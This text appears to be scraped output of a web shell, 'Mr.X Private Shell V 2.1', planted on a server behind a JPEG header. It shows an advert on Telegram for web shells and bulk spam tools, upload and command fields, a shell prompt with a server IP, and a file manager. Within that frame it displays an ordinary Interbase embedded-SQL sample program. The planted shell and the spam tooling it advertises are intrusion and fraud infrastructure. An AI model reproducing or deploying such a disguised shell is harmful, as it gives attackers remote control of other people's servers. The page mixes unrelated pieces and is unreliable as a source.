����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
/*
 *  Program type:   Embedded Static SQL
 *
 *  Description:
 *		This program executes a stored procedure and selects from
 *		a stored procedure.  First, a list of projects an employee
 *		is involved in is printed.  Then the employee is added to
 *		another project.  The new list of projects is printed again.
 * The contents of this file are subject to the Interbase Public
 * License Version 1.0 (the "License"); you may not use this file
 * except in compliance with the License. You may obtain a copy
 * of the License at http://www.Inprise.com/IPL.html
 *
 * Software distributed under the License is distributed on an
 * "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express
 * or implied. See the License for the specific language governing
 * rights and limitations under the License.
 *
 * The Original Code was created by Inprise Corporation
 * and its predecessors. Portions created by Inprise Corporation are
 * Copyright (C) Inprise Corporation.
 *
 * All Rights Reserved.
 * Contributor(s): ______________________________________.
 */

#include "example.h"
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

EXEC SQL INCLUDE SQLCA;

void select_projects (short emp_no);
void get_params (short *emp_no, char* proj_id);
void pr_error (long status);
void add_emp_proj (short emp_no,char * proj_id);



int main (void)
{
	BASED_ON employee.emp_no	emp_no;
	BASED_ON project.proj_id	proj_id;

	/*
	 *	Add employee with id 8 to project 'MAPDB'.
	 */
	get_params(&emp_no, proj_id);

	/*
	 *	Display employee's current projects.
	 */
	printf("\nCurrent projects for employee id: %d\n\n", emp_no);
	select_projects(emp_no);

	/*
	 *	Insert a new employee project row.
	 */
	printf("\nAdd employee id: %d to project: %s\n", emp_no, proj_id);
	add_emp_proj(emp_no, proj_id);

	/*
	 *	Display employee's new current projects.
	 */
	printf("\nCurrent projects for employee id: %d\n\n", emp_no);
	select_projects(emp_no);

}


/*
 *	Select from a stored procedure.
 *	Procedure 'get_emp_proj' gets employee's projects.
 */
void select_projects(BASED_ON employee.emp_no emp_no)
{
	BASED_ON project.proj_id	proj_id;

	EXEC SQL
		WHENEVER SQLERROR GO TO SelError;

	/* Declare a cursor on the stored procedure. */
	EXEC SQL
		DECLARE projects CURSOR FOR
		SELECT proj_id FROM get_emp_proj (:emp_no)
		ORDER BY proj_id;

	EXEC SQL
		OPEN projects;
	
	/* Print employee projects. */
	while (SQLCODE == 0)
	{
		EXEC SQL
			FETCH projects INTO :proj_id;

		if (SQLCODE == 100)
			break;

		printf("\t%s\n", proj_id);
	}

	EXEC SQL
		CLOSE projects;
	
	EXEC SQL
		COMMIT RETAIN;

SelError:
	if (SQLCODE)
		pr_error((long)gds__status);
}


/*
 *	Execute a stored procedure.
 *	Procedure 'add_emp_proj' adds an employee to a project.
 */
void add_emp_proj(BASED_ON employee.emp_no emp_no, BASED_ON project.proj_id proj_id)
{
	EXEC SQL
		WHENEVER SQLERROR GO TO AddError;

	EXEC SQL
		EXECUTE PROCEDURE add_emp_proj :emp_no, :proj_id;

	EXEC SQL
		COMMIT;

AddError:
	if (SQLCODE) 
		pr_error((long)gds__status);
}


/*
 *	Set-up procedure parameters and clean-up old data.
 */
void get_params(BASED_ON employee.emp_no *emp_no, BASED_ON project.proj_id proj_id)
{
	*emp_no = 8;
	strcpy(proj_id, "MAPDB");

	EXEC SQL
		WHENEVER SQLERROR GO TO CleanupError;

	/* Cleanup:  delete row from the previous run. */
	EXEC SQL
		DELETE FROM employee_project
		WHERE emp_no = 8 AND proj_id = "MAPDB";

CleanupError:
	return;
}


/*
 *	Print an error message.
 */
void pr_error(long status)
{
	isc_print_sqlerror(SQLCODE, gds__status);
}


Filemanager

Name Type Size Permission Actions
stat1.e File 2.11 KB 0644
stat10.e File 3.82 KB 0644
stat11.e File 3.69 KB 0644
stat12.e File 3.09 KB 0644
stat12t.e File 2.08 KB 0644
stat2.e File 1.99 KB 0644
stat3.e File 2.44 KB 0644
stat4.e File 3.42 KB 0644
stat5.e File 2.75 KB 0644
stat6.e File 2.64 KB 0644
stat7.e File 2.48 KB 0644
stat8.e File 3.17 KB 0644
stat9.e File 3.45 KB 0644